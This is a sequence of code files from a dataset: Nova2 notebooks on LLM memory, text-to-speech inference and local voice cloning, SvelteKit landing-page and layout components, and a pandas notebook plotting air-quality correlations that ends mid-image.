"conversation = Conversation()\n",
"\n",
"message = \"Your message here\"\n",
"user_message = Message(author=\"user\", content=message)\n",
"conversation.add_message(user_message)\n",
"\n",
"llm_response = nova.run_llm(conversation=conversation, memory_config=memory_config)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Storing memories is enabled by default. It is one of the default tools the LLM has access to. Note that the LLM can not store new memories if tools were not loaded or \"load_default_tools\" is False. More on tools [here](1.2%20tool%20use.ipynb)."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### How memory retrieval works"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Memories use a system called \"Retrieval-augmented-generation\". If the LLM decides to store a new memory it will first be converted into a text embedding which is just a high-dimensional vector. You can think of a text embedding as representing the meaning of a text. This embedding is then stored in a database. When the user now prompts the LLM, their message is split by sentence and each sentence is individually converted to text embeddings. Using a similarity search, the system tries to find entries that are close in meaning to the given text. If a result is found that surpasses the threshold, it and its surrounding entries are parsed to the LLM. This is commonly known as \"neighbourhood retrieval\" and it serves to parse more potentially important context to the LLM. This is important to know so you understand the parameters of the MemoryConfig object: \n",
"- retrieve_memories: Whether to even retrieve any memories.\n",
"- num_results: Only use up to x results above the threshold.\n",
"- search_area: How many entries before and after the result should also be parsed to the LLM.\n",
"- cosine_threshold: The similarity score an entry must surpass to be considered a result."
]
}
],
"metadata": {
"kernelspec": {
"display_name": "base",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.11.7"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
| 4,854 | 1.3 Memory | ipynb | en | jupyter notebook | excluded | {} | 0 | {} |
00Julian00/Nova2 | examples/2. TTS/2.1 Running inference.ipynb | {
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# 2.1 Running inference on a TTS (Text-to-Speech) model."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"The TTS turns the LLMs response into speech, enabling interaction with the LLM without requiring a keyboard. This notebook will show you how to interact with the TTS system, as well as Novas audio player."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Run this code so python can find the scripts. This is not required when importing Nova from outside the root folder."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"import sys\n",
"from pathlib import Path\n",
"nova_path = Path().absolute().parent.parent.parent\n",
"if str(nova_path) not in sys.path:\n",
" sys.path.insert(0, str(nova_path))"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"from nova import *\n",
"\n",
"nova = Nova()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"The TTS system mirrors the LLM system in that you need to choose an inference engine, as well as prepare a \"conditioning\" object. \n",
"By default, Nova comes with 2 inference engines for the TTS system. One using [Zonos](https://github.com/Zyphra/Zonos) and one using [Elevenlabs](https://elevenlabs.io/)."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Zonos:\n",
"inference_engine = InferenceEngineZonos()\n",
"\n",
"# Elevenlabs:\n",
"inference_engine = InferenceEngineElevenlabs()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Now create a TTSConditioning object. Just like with the LLM system, each inference engine varies in what parameters they need and they differ in what values should be used. Below is a set of starting values for both engines."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Zonos conditioning:\n",
"conditioning = TTSConditioning(\n",
" model=\"Zyphra/Zonos-v0.1-transformer\",\n",
" voice=\"Laura\",\n",
" expressivness=100,\n",
" stability=2.0,\n",
" language=\"en-us\",\n",
" speaking_rate=15\n",
")"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Parameters: \n",
"- model: Which model to use. You can find the available models [here](https://huggingface.co/collections/Zyphra/zonos-v01-67ac661c85e1898670823b4f)\n",
"- voice: The name of the voice to use. By default, Nova comes with 1 default voice \"Laura\", but you can clone other voices and use them. More on voice cloning in [2.2](2.2%20Cloning%20a%20voice.ipynb).\n",
"- expressiveness: How expressive the voice should sound. Higher means the voice speaks with more emotion and variation but also loses stability.\n",
"- stability: How stable the voice should be.\n",
"- language: The language the voice should speak. Should be the same language the input text is in.\n",
"- speaking_rate: How fast the voice should speak."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Elevenlabs conditioning:\n",
"conditioning = TTSConditioning(\n",
" model=\"eleven_multilingual_v2\",\n",
" voice=\"Xb7hH8MSUJpSbSDYk0k2\",\n",
" expressivness=0.5,\n",
" stability=0.5,\n",
" similarity_boost=0.75,\n",
" use_speaker_boost=True\n",
")"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Parameters: \n",
"- model: Which model to use. You can find all available models on the Elevenlabs [website](https://elevenlabs.io/app/home)\n",
"- voice: The voice ID of your desired voice. The voice IDs can also be found on the Elevenlabs [website](https://elevenlabs.io/app/home)\n",
"- expressiveness: How expressive the voice should sound. Higher means the voice speaks with more emotion and variation but also loses stability.\n",
"- stability: How stable the voice should be.\n",
"- similarity_boost: How consistent the voice should be. High values can cause artifacts.\n",
"- use_speaker_boost: An additional boost to voice consistency at the cost of generation latency."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"If you are using Elevenlabs, you also need to pass your API key."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"nova.edit_secret(Secrets.ELEVENLABS_API, \"YOUR-API-KEY\")"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Now we set up the TTS system, similar to how the LLM system is set up."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"nova.configure_tts(inference_engine=inference_engine, conditioning=conditioning)\n",
"\n",
"# You need to apply your new configuration.\n",
"# Only after applying the configuration will the model be loaded into memory.\n",
"nova.apply_config_tts()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Now we can run inference."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"speech = nova.run_tts(\"We choose to go to the Moon, not because its easy, but because it is hard\")"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"We now have an \"AudioData\" object that can be parsed to the built in audio player to be played."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"nova.play_audio(audio_data=speech)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"We can then wait until the audio has finished playing."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"nova.wait_for_audio_playback_end()"
]
}
],
"metadata": {
"kernelspec": {
"display_name": "base",
"language": "python",
"name": "python3"
},
"language_info": {
"name": "python",
"version": "3.11.7"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
| 6,636 | 2.1 Running inference | ipynb | en | jupyter notebook | excluded | {} | 0 | {} |
00Julian00/Nova2 | examples/2. TTS/2.2 Cloning a voice.ipynb | {
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Cloning a voice"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Most TTS models allow you to clone a voice. If you use Elevenlabs, you can clone a voice via their [website](https://elevenlabs.io/app/home), but if you are using Zonos, you can easily do that on your computer."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Prepare an audio sample of the voice. The speaker should speak clearly and audible. Avoid background noises. The recording should at least be 10 seconds long. Save the recording as a .mp3 file. \n",
"After you have prepared a recording you can run:"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"import sys\n",
"from pathlib import Path\n",
"nova_path = Path().absolute().parent.parent.parent\n",
"if str(nova_path) not in sys.path:\n",
" sys.path.insert(0, str(nova_path))\n",
"\n",
"from nova import *\n",
"nova = Nova()\n",
"\n",
"# Make sure a voice with your chosen name not already exists or it will be overwritten.\n",
"nova.clone_voice(mp3file=\"/path/to/your/file.mp3\", name=\"The name of your voice\")"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"After that, you can use the voice when running inference by parsing the name of your voice. \n",
"Note that the voice cloning only works when using the Zonos inference engine."
]
}
],
"metadata": {
"kernelspec": {
"display_name": "base",
"language": "python",
"name": "python3"
},
"language_info": {
"name": "python",
"version": "3.11.7"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
| 1,816 | 2.2 Cloning a voice | ipynb | en | jupyter notebook | excluded | {} | 0 | {} |
00jacs/sveltekit-ultrafast | src/routes/+page.svelte | <script lang="ts">
/* Overview: The /components/page folder contains a base of
* ready-to-go components that you can use to create a landing page
* and your application overall. The components are designed to be
* reusable and easy to understand. You can use them as they are or
* modify them to fit your needs.
*
* More components will be added in the future, so stay tuned!
*/
import HeroCentered from '$lib/components/page/hero/hero-centered.svelte';
import FaqAccordion from '$lib/components/page/faq/faq-accordion.svelte';
import FeaturesLeftWithImage from '$lib/components/page/features/features-left-with-image.svelte';
const examplePages = [
{
name: 'PostgreSQL database with Supabase',
href: '/database-example'
},
{
name: 'Authentication with Supabase Auth',
href: '/auth/login'
},
{
name: 'Payments with Stripe',
href: '/payment'
},
{
name: 'Blog with Contentful',
href: '/blog'
},
{
name: 'Tracking events with Google Analytics',
href: '/analytics'
}
] as const;
</script>
<HeroCentered />
<section id="examples" class="mx-auto mb-8 max-w-2xl pb-16 pt-16 text-center">
<h2 class="mb-3 text-2xl font-bold md:text-4xl">Example pages</h2>
<ul>
{#each examplePages as page}
<li class="mb-2">
<a href={page.href} class="text-base-content-secondary link no-underline">
{page.name}
</a>
</li>
{/each}
</ul>
</section>
<section id="features">
<FeaturesLeftWithImage />
</section>
<section id="faq" class="mx-auto mt-16 max-w-xl px-8 py-16">
<h2 class="mb-2 text-2xl font-bold md:text-4xl">Commonly asked questions</h2>
<p class="text-base-content-secondary mb-8">
If your question is not on the list, feel free to get in touch
<a href="https://x.com/jacob_the_coder" class="link" target="_blank">here</a>
or open up an issue on
<a
href="https://github.com/jacobxcoder/sveltekit-ultrafast/issues"
class="link"
target="_blank">
GitHub.
</a>
</p>
<FaqAccordion />
</section>
| 2,004 | +page | svelte | en | svelte | code | {"qsc_code_num_words": 293, "qsc_code_num_chars": 2004.0, "qsc_code_mean_word_length": 4.63139932, "qsc_code_frac_words_unique": 0.50511945, "qsc_code_frac_chars_top_2grams": 0.0412675, "qsc_code_frac_chars_top_3grams": 0.0375829, "qsc_code_frac_chars_top_4grams": 0.04642594, "qsc_code_frac_chars_dupe_5grams": 0.07811349, "qsc_code_frac_chars_dupe_6grams": 0.03537214, "qsc_code_frac_chars_dupe_7grams": 0.03537214, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0139141, "qsc_code_frac_chars_whitespace": 0.1751497, "qsc_code_size_file_byte": 2004.0, "qsc_code_num_lines": 71.0, "qsc_code_num_chars_line_max": 100.0, "qsc_code_num_chars_line_mean": 28.22535211, "qsc_code_frac_chars_alphabet": 0.80701754, "qsc_code_frac_chars_comments": 0.18712575, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0862069, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.4315531, "qsc_code_frac_chars_long_word_length": 0.12645795, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0} |
00jacs/sveltekit-ultrafast | src/routes/+layout.svelte | <script lang="ts">
import '../app.postcss';
import { onMount } from 'svelte';
import { page } from '$app/stores';
import { invalidateAll } from '$app/navigation';
import { browser } from '$app/environment';
import { supabase } from '$lib/supabase';
import { Notifications } from '$lib/components';
import { Theme, theme } from '$lib/stores/theme';
import { PlausibleAnalytics, GoogleAnalytics } from '$lib/components/page/analytics';
import NavigationHeader from '$lib/components/page/navigation-header/navigation-header.svelte';
import MinimalFooter from '$lib/components/page/footer/minimal-footer.svelte';
/**
* Listen for changes in authentication state
* and invalidate all pages when the user logs in or out
* DO NOT REMOVE THIS, IT'S IMPORTANT FOR THE AUTHENTICATION FLOW
*/
onMount(() => {
const {
data: { subscription }
} = supabase.auth.onAuthStateChange(() => {
invalidateAll();
});
return () => subscription?.unsubscribe();
});
export let data;
if (data.theme === Theme.LIGHT || data.theme === Theme.DARK) {
theme.set(data.theme);
if (browser) {
document.documentElement.setAttribute('data-theme', data.theme);
}
}
</script>
<svelte:head>
<title>sveltekit-ultrafast</title>
</svelte:head>
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<GoogleAnalytics />
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<PlausibleAnalytics />
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{#if !$page.url.pathname.startsWith('/docs')}
<NavigationHeader />
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| 2,288 | +layout | svelte | en | svelte | code | {"qsc_code_num_words": 281, "qsc_code_num_chars": 2288.0, "qsc_code_mean_word_length": 5.61209964, "qsc_code_frac_words_unique": 0.44483986, "qsc_code_frac_chars_top_2grams": 0.02663285, "qsc_code_frac_chars_top_3grams": 0.04311985, "qsc_code_frac_chars_top_4grams": 0.03994927, "qsc_code_frac_chars_dupe_5grams": 0.09828789, "qsc_code_frac_chars_dupe_6grams": 0.09828789, "qsc_code_frac_chars_dupe_7grams": 0.09828789, "qsc_code_frac_chars_dupe_8grams": 0.09828789, "qsc_code_frac_chars_dupe_9grams": 0.07863031, "qsc_code_frac_chars_dupe_10grams": 0.07863031, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0, "qsc_code_frac_chars_whitespace": 0.1756993, "qsc_code_size_file_byte": 2288.0, "qsc_code_num_lines": 86.0, "qsc_code_num_chars_line_max": 97.0, "qsc_code_num_chars_line_mean": 26.60465116, "qsc_code_frac_chars_alphabet": 0.83616119, "qsc_code_frac_chars_comments": 0.3833042, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.05263158, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.18497519, "qsc_code_frac_chars_long_word_length": 0.10063785, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0} |
00Enkidu/Data-Analysis-On-Air-Quality | main.ipynb | {
"cells": [
{
"metadata": {},
"cell_type": "markdown",
"source": "Read In the File",
"id": "57e4908b741d7112"
},
{
"cell_type": "code",
"id": "initial_id",
"metadata": {
"collapsed": true,
"ExecuteTime": {
"end_time": "2025-02-21T18:41:48.988443Z",
"start_time": "2025-02-21T18:41:48.919556Z"
}
},
"source": [
"import pandas as pd\n",
"df = pd.read_csv(\"air_quality.csv\")\n",
"# df.describe()"
],
"outputs": [],
"execution_count": 2
},
{
"metadata": {},
"cell_type": "markdown",
"source": "Transform the Data (Air Quality)",
"id": "82067935c864de7f"
},
{
"metadata": {
"ExecuteTime": {
"end_time": "2025-02-21T18:41:51.268288Z",
"start_time": "2025-02-21T18:41:51.207241Z"
}
},
"cell_type": "code",
"source": [
"# Do mapping function on the AQ\n",
"aq_mapping = {\n",
" \"Hazardous\": 1,\n",
" \"Poor\": 2,\n",
" \"Moderate\": 3,\n",
" \"Good\": 4\n",
"}\n",
"\n",
"df[\"Air Quality\"] = df[\"Air Quality\"].map(aq_mapping)\n",
"\n",
"df.head()"
],
"id": "876e698355502b0",
"outputs": [
{
"data": {
"text/plain": [
" Temperature Humidity PM2.5 PM10 NO2 SO2 CO \\\n",
"0 29.8 59.1 5.2 17.9 18.9 9.2 1.72 \n",
"1 28.3 75.6 2.3 12.2 30.8 9.7 1.64 \n",
"2 23.1 74.7 26.7 33.8 24.4 12.6 1.63 \n",
"3 27.1 39.1 6.1 6.3 13.5 5.3 1.15 \n",
"4 26.5 70.7 6.9 16.0 21.9 5.6 1.01 \n",
"\n",
" Proximity_to_Industrial_Areas Population_Density Air Quality \n",
"0 6.3 319 3 \n",
"1 6.0 611 3 \n",
"2 5.2 619 3 \n",
"3 11.1 551 4 \n",
"4 12.7 303 4 "
],
"text/html": [
"<div>\n",
"<style scoped>\n",
" .dataframe tbody tr th:only-of-type {\n",
" vertical-align: middle;\n",
" }\n",
"\n",
" .dataframe tbody tr th {\n",
" vertical-align: top;\n",
" }\n",
"\n",
" .dataframe thead th {\n",
" text-align: right;\n",
" }\n",
"</style>\n",
"<table border=\"1\" class=\"dataframe\">\n",
" <thead>\n",
" <tr style=\"text-align: right;\">\n",
" <th></th>\n",
" <th>Temperature</th>\n",
" <th>Humidity</th>\n",
" <th>PM2.5</th>\n",
" <th>PM10</th>\n",
" <th>NO2</th>\n",
" <th>SO2</th>\n",
" <th>CO</th>\n",
" <th>Proximity_to_Industrial_Areas</th>\n",
" <th>Population_Density</th>\n",
" <th>Air Quality</th>\n",
" </tr>\n",
" </thead>\n",
" <tbody>\n",
" <tr>\n",
" <th>0</th>\n",
" <td>29.8</td>\n",
" <td>59.1</td>\n",
" <td>5.2</td>\n",
" <td>17.9</td>\n",
" <td>18.9</td>\n",
" <td>9.2</td>\n",
" <td>1.72</td>\n",
" <td>6.3</td>\n",
" <td>319</td>\n",
" <td>3</td>\n",
" </tr>\n",
" <tr>\n",
" <th>1</th>\n",
" <td>28.3</td>\n",
" <td>75.6</td>\n",
" <td>2.3</td>\n",
" <td>12.2</td>\n",
" <td>30.8</td>\n",
" <td>9.7</td>\n",
" <td>1.64</td>\n",
" <td>6.0</td>\n",
" <td>611</td>\n",
" <td>3</td>\n",
" </tr>\n",
" <tr>\n",
" <th>2</th>\n",
" <td>23.1</td>\n",
" <td>74.7</td>\n",
" <td>26.7</td>\n",
" <td>33.8</td>\n",
" <td>24.4</td>\n",
" <td>12.6</td>\n",
" <td>1.63</td>\n",
" <td>5.2</td>\n",
" <td>619</td>\n",
" <td>3</td>\n",
" </tr>\n",
" <tr>\n",
" <th>3</th>\n",
" <td>27.1</td>\n",
" <td>39.1</td>\n",
" <td>6.1</td>\n",
" <td>6.3</td>\n",
" <td>13.5</td>\n",
" <td>5.3</td>\n",
" <td>1.15</td>\n",
" <td>11.1</td>\n",
" <td>551</td>\n",
" <td>4</td>\n",
" </tr>\n",
" <tr>\n",
" <th>4</th>\n",
" <td>26.5</td>\n",
" <td>70.7</td>\n",
" <td>6.9</td>\n",
" <td>16.0</td>\n",
" <td>21.9</td>\n",
" <td>5.6</td>\n",
" <td>1.01</td>\n",
" <td>12.7</td>\n",
" <td>303</td>\n",
" <td>4</td>\n",
" </tr>\n",
" </tbody>\n",
"</table>\n",
"</div>"
]
},
"execution_count": 3,
"metadata": {},
"output_type": "execute_result"
}
],
"execution_count": 3
},
{
"metadata": {},
"cell_type": "markdown",
"source": "1. \"Proximity to Industrial Areas\" vs \"CO\"",
"id": "80a0422a87f5d3f"
},
{
"metadata": {
"ExecuteTime": {
"end_time": "2025-02-21T18:41:59.299682Z",
"start_time": "2025-02-21T18:41:57.379444Z"
}
},
"cell_type": "code",
"source": [
"import matplotlib.pyplot as plt\n",
"import seaborn as sns\n",
"import numpy as np\n",
"\n",
"color_mapping = {1: 'red', 2: 'orange', 3: 'blue', 4: 'green'}\n",
"correlation_values = {}\n",
"\n",
"\n",
"plt.figure(figsize=(8, 6))\n",
"for aq_class, color in color_mapping.items():\n",
" subset = df[df[\"Air Quality\"] == aq_class]\n",
"\n",
" correlation = subset[\"Proximity_to_Industrial_Areas\"].corr(subset[\"CO\"])\n",
" correlation_values[aq_class] = correlation\n",
"\n",
" plt.scatter(subset[\"Proximity_to_Industrial_Areas\"], subset[\"CO\"],\n",
" color=color, label=f\"Air Quality {aq_class}\", alpha=0.6)\n",
"\n",
"overall_corr = df[\"Proximity_to_Industrial_Areas\"].corr(df[\"CO\"])\n",
"\n",
"plt.xlabel(\"Proximity to Industrial Areas (km)\")\n",
"plt.ylabel(\"CO Concentration (ppm)\")\n",
"plt.title(\"Scatter Plot: Proximity to Industrial Areas vs CO\")\n",
"plt.legend(title=\"Air Quality\")\n",
"plt.grid(True)\n",
"plt.show()\n",
"\n",
"print(\"Pearson Correlation Coefficients by Air Quality Level:\")\n",
"for aq_class, corr_value in correlation_values.items():\n",
" print(f\"Air Quality {aq_class}: r = {corr_value:.2f}\")\n",
"\n",
"print(f\"\\nOverall Correlation (All Data): r = {overall_corr:.2f}\")\n",
"\n"
],
"id": "2579f1e1f3cbf8cf",
"outputs": [
{
"data": {
"text/plain": [
"<Figure size 800x600 with 1 Axes>"
],
"image/png": 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YsSOLFi2qIl47d+4cEq4AP/30Ey1atKBnz54Vfm9PO+00Hn30UfLz82nVqhWvv/46ABkZGWzfvp309HTWrFkTmmdSUhJdunThrrvu4scff+SUU05hyJAhNb5nFUVh3Lhx/Pe//+Xee+/F6XTy0Ucfccwxx9C/f3/AFquLFi1iz549nHbaaZx66qlcc801Nd4TRVEwTbNW9w/sLzu6XrOk0DQttK9EcjBI8So56omNjeWss87irLPOAuDPP//k3//+N3PmzGHcuHHk5eUBkJiYWO0YOTk5zJ49my+++AJFUTj22GNDHxx1+UNddq6yCEll9uzZE/q5umXvcDzzzDOhqn6Hw0F8fHwoAlbTPMKdIykpqcGsxOoyr/L3vyyvtbr5FRYWhv7f4/Fw5pln8sILL3DSSSdVyd8LR1RUVJXX3G73AY+riYkTJ/Lss8/y2WefcfLJJ/PDDz9UiHrWhvz8/GqvWQhBUVFRncRruFzGsvdr2T2uHEUve151oX379ixYsIDnn3+et956i1dffZWYmBguuugirr/++gpCsDIHep+vW7eOe++9l3Xr1uF2u+nSpUvoC0Ftf/c++OADgsEg8+fPr5KeA3YVfXnni8pzysvLY9++fdWmyuzbt4/Y2Fg+/PBD5s6dS2ZmJnFxcXTv3r3C+0pRFF5++WWeeeYZPv/8c9577z0cDgcjRozgnnvuCZtLCnDuuefy9NNP87///Y9hw4bx6aefhr68Adxxxx20bt2aDz/8kHvvvRewv6DdfffdoVWgyrRr147ffvst/A0rJTMzkzZt2oT2/+uvv2rcvyy3t23btjXuJ5EcCCleJUcle/bsYeLEiVx//fWh5eEyevTowQ033MA111zDjh07iImJAWyBWp68vDz++OMP+vbty8yZM0lPT+eVV16hX79+OJ1OSkpK6ryMW3au1157LawIqe8f/W7dutVpCbDsQ7Jy8Q7YH8Q1LTc25rzKiI2NBez5Va4G37dvH8ccc0zo/zdv3sxrr73G8ccfz1tvvcXZZ58dWrY9lBxzzDEMHDiQZcuWUVhYSEREBCNHjqzTGLGxsdU+E6DBnkv5sbKzsyu8XvbFpoyyfN3KxWiVi3LKlr8DgQCrV69m8eLFPPvssyQnJ9fbkqqoqIirrrqK5ORkPvroo1BE9Ntvv2X58uW1HmfJkiX06dOHm2++ucLrPp+Pf/3rXyxcuDAk+sIRHR3Ncccdx5w5c8Jub9++PatWreLWW29lypQpXHnllaHUkkcffbRCwV2rVq245557mD17NuvXr+fTTz/lhRdeIDY2tto5HHvssfTt2zeUB5+bm8u4ceNC251OJ//617/417/+RUZGBl9//TVPP/00N998M8uWLQs75tChQ/n6669Zt24dKSkpVbZv2rSJs846i5tvvpmrr76a4cOH8+2335KWllZtqsann36K2+1m8ODB4W+kRFJLZMGW5KgkKSkJXdd58803w+aSbdmyBZfLxbHHHkunTp2Ij4/nyy+/rLDP0qVL+cc//oHf72f16tWceeaZnHTSSTidTgD+97//Afs/1MuWzMpTOeJ0wgknAPYyZkpKSuhfXl4e/+///b8qwqGx6NixIy1atKjQUAHswptff/01VJQR7poOBX369MHpdFaZ36pVq8jIyAjNzzAMbr31Vtq1a8fChQvp1asXs2bNqlMhT32oLpI4adIkfvzxRz788ENGjx59wChwuPfH119/XSGybJomH3/8MSkpKaH3XkNw3HHH0aZNm1AObBlff/11hf8vi1KXuVCA/ftT/r366quvMnz4cAKBAE6nk0GDBnHfffdVOK6m6Gt1lJ3n0ksvpWvXrqExKv/u1cS6devYsGEDEyZM4MQTT6zw79RTT2XIkCEsXbq0xgr5gQMHkpmZSWJiYoXf259++okXX3wRTdNIS0vDsiyuu+66kHA1TTNUvGRZFmlpaZx88sn89ttvKIrC8ccfz4033ki3bt3CFgeWZ9y4cfzvf//jo48+om/fvhx33HGALcDPPPPMkLtA27Ztufjiixk7dmyNY44bN44WLVrw4IMPhlJJyijLiXc4HKFVonHjxnHsscdy9913h/079fXXX/P+++9zySWXhF3ZkEjqgoy8So5KNE3jnnvu4ZprrmHixIlcfPHFdO7cmZKSEn744QfeeOMNrr/++lCE79prr+U///kP99xzD2eccQbbtm3j//2//8eFF15IQkICvXv3ZunSpfTs2ZPWrVuTlpbGc889h6IooT/8ZXmKP/30E507d6ZPnz6hSOtHH31Enz596NatG+PGjeOuu+5i165d9OrVi61bt/J///d/tG/fPvSB1NioqspNN93ErFmzuPHGGzn33HPJzc1l3rx5xMbGhgqXyq7pm2++ITY2lu7du5OTk8Pff/9Nly5dGu1DKi4ujquvvjpUwHT66aezc+dOnnjiCbp06RJqmvDcc8/xxx9/sGDBAiIiIrjvvvuYOHEic+bMCVV4NwaVn2tZJPjMM8/kvvvuY+3atRVspGoa588//2TFihX07t2bGTNm8L///Y9LL72Uq6++GqfTyYIFC9ixYwcvvvhig16DoijMnDmTm2++mTvvvJNRo0bx66+/snDhwgr7laViPPzww9xwww0UFxczb968CkvcJ510EnPmzOGaa65hypQpaJrGokWLcDqdnHbaaaFrzcrK4ttvvw0VNx6Ijh07EhUVxbPPPouu6+i6zvLly3nnnXcAqoiucLz77rs4HA7OPPPMsNvPPfdcvv32W5YuXcoFF1wQdp8JEyawYMECLr/8cv75z3/Spk0bfvzxR1544QWmTJmCw+EI5ff+5z//YeLEiRQUFLBgwQLWr18P2PnyPXr0wO128+9//5trr72WpKQkfvzxR/76668DOoqMHTuWhx56iI8//rhC4ajb7aZnz56h35Xk5GS2bt3Ke++9V+01g/27/fDDDzNjxgzOO+88pkyZQseOHdm9ezcLFy7k119/5eGHHw6laHg8Hp566immTZvGueeey2WXXUaPHj0oKSnhq6++4p133uH000/n+uuvr/E6JJJaISSSo5jff/9d3HjjjeKUU04RvXr1Ev369RNTpkwRy5cvr7LvkiVLxNixY0XPnj3F8OHDxbx580QgEBBCCLFz504xbdo00b9/f9G/f38xceJE8cEHH4grr7xSTJw4MTTGQw89JPr27SsGDBgg/H6/2L17t5g4caLo2bOnmD17thBCiGAwKObNmydOP/100bNnT3HKKaeI2bNni9zc3NA4U6ZMEVOmTDng9b377ruiW7duYseOHfXa99NPPxXjx48XPXv2FCeeeKKYOXOmyMjICG03TVPcdNNNIiUlRYwdO7bCOD///HOjzauMN998U4wZM0b07NlTDB48WNxzzz0iLy9PCCHEX3/9VeG+lvHoo4+K5ORk8eOPP4odO3aIbt26iXfffbfac/38889VrudAx4V7rmVce+21YuTIkQe8biGEWLp0qRg0aJDo1auXWLlypRBCiD///FNcddVVom/fviI1